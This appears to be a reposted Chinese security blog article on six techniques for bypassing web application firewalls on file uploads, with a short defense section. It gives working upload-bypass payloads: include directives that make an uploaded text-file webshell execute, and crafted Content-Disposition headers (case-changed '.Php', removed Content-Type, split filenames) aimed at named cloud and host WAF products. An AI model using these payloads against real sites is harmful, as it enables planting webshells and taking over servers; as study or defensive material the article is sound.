<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    常見6種WAF繞過和防護原理

    VSole2021-11-02 05:29:37

    今天就聊聊關于上傳繞過WAF的姿勢,WAF(Web Application Firewall)簡單的來說就是執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。上傳繞過不算什么技術了,正所謂未知防,焉知攻,先來了解一下網站的防御措施吧!

    一、Bypass Waf

    1.一般開發人員防御策略

    客戶端javascript校驗(一般只校驗后綴名)服務端校驗1>文件頭content-type字段校驗(image/gif)2>文件內容頭校驗(GIF89a)3>后綴名黑名單校驗4>后綴名白名單校驗5>自定義正則校驗6>WAF設備校驗(根據不同的WAF產品而定)

    2.Bypass

    2.1 有些waf不會防asp/php/jsp后綴的文件,但是他會檢測里面的內容

    eg1:

    1.先上傳一個內容為木馬的txt后綴文件,因為后綴名的關系沒有檢驗內容

    2.然后再上傳一個.php的文件,內容為

    此時,這個php文件就會去引用txt文件的內容,從而繞過校驗,下面列舉包含的語法:

    PHP<?php Include("上傳的txt文件路徑");?>ASP<!--#include file="上傳的txt文件路徑" -->JSP<jsp:include page="上傳的txt文件路徑"/>or<%@include file="上傳的txt文件路徑"%>
    

    訪問shell.php就可以執行php代碼

    嘗試修改壓縮文件后綴為zip、phar、rar發現都是可以的。

    2.2 WTS-WAF Bypass
    Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
    
    2.3 Baidu cloud Bypass

    發現百度云目前正在攔截后綴,百度云過上傳還跟<?php前面是否有代碼還有很大關系,在這里就不要廢話了,大家自己去研究一下吧。

    Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”

    百度云繞過就簡單的很多很多,在對文件名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話自己合成圖片馬用Xise連接即可。

    2.4 阿里云WAF
    Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg
    

    Bypass:

    Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”
    

    Note:你看的沒錯,刪除Content-Type: image/jpeg即可繞過。

    2.5 安全狗上傳Bypass(最新版不可繞)
    Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
    

    Bypass:

    Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png
    

    C.php"

    Note:刪掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟著c.php".原理就不多說了,自己研究。

    2.6 云鎖上傳Bypass
    Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
    

    二、Defense

    詳細說一下Type繞過防御機制,其他的防御機制自己可以下去研究.

    1.目錄設為不可執行:

    只要web容器無法解析該目錄下的文件,即使攻擊者上傳了腳本文件,服務器本身也不會受到影響,所以此點至關重要。

    2.判斷文件類型:

    判斷文件類型時,應結合MIME-Type、后綴檢查等方式、推薦使用白名單的方式。

    3.用隨機數改寫:

    文件上傳如果要執行代碼,則需要用戶能訪問到這個文件。在某些環境下,用戶能上傳,但是不能訪問。

    三、Summary

    研究WAF的繞過手段,是為了更好的提升WAF的防御能力。在研究突破的過程中,不要只是僅僅停留在正則表達式、基本漏洞原理,需要對涉及并深入更多的領域,例如HTTP協議理解和PHP、Tomcat對HTTP協議源碼分析,MySQL詞法分析,和Fuzz的思路等。在此過程中,會有許多樂趣,也會有各方面能力的提升。

    waf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x00 簡介WAFNinja 簡介WAFNinja 是一款采用Python編寫的命令行工具。它通過自動化步驟來幫助滲透測試者來繞過WAF,而這些步驟對于繞過輸入驗證來說是必需的。
    WAF指紋識別工具
    2022-04-11 06:18:47
    原理發送正常的 HTTP 請求并分析響應;這確定了許多 WAF 解決方案。如果不成功,則發送多個HTTP 請求,并使用簡單的邏輯來示例就是WAF
    WAF繞過工具
    2022-03-02 06:34:03
    Nemesida WAF 團隊 ( nemesida-waf.com ) 的 WAF Bypass 是一個開源工具 (Python3),用于使用預定義的有效負載檢查任何 WAF 的誤報/誤報數量(如果需要,可以更改有效負載集)。使用前關閉禁用模式。 為內部需求開發的腳本,包括用于測試 Nemesis WAF 和 Nemesida WAF Free,但您可以使用它來測試任何 WAF
    如果流量都沒有經過WAFWAF當然無法攔截攻擊請求。當前多數云WAF架構,例如百度云加速、阿里云盾等,通過更改DNS解析,把流量引入WAF集群,流量經過檢測后轉發請求到源站。如圖,dict.com接入接入WAF后,dict.com的DNS解析結果指向WAF集群,用戶的請求將發送給WAF集群,WAF集群經過檢測認為非攻擊請求再轉發給源站。
    WAF分為非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虛擬機WAF之類的;嵌入型指的是web容器模塊類型WAF、代碼層WAF
    Bypass安全狗MySQL注入
    一般的做法,是解綁域名,再到web服務上綁定該域名。也就是說,規則引擎分為兩塊,對請求過濾和對響應過濾,而對請求過濾分為兩大步,網絡層過濾和應用層過濾。
    WAF分類及繞過思路
    2021-11-26 05:17:12
    WAF分為非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虛擬機WAF之類的;嵌入型指的是web容器模塊類型WAF、代碼層WAF
    WAF CDN 的識別方法
    2021-11-22 07:37:57
    CDN 是構建在現有網絡基礎之上的智能虛擬網絡,依靠部署在各地的邊緣服務器,通過中心平臺的負載均衡、內容分發、調度等功能模塊,使用戶就近獲取所需內容,降低網絡擁塞,提高用戶訪問響應速度和命中率。CDN 的關鍵技術主要有內容存儲和分發技術。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类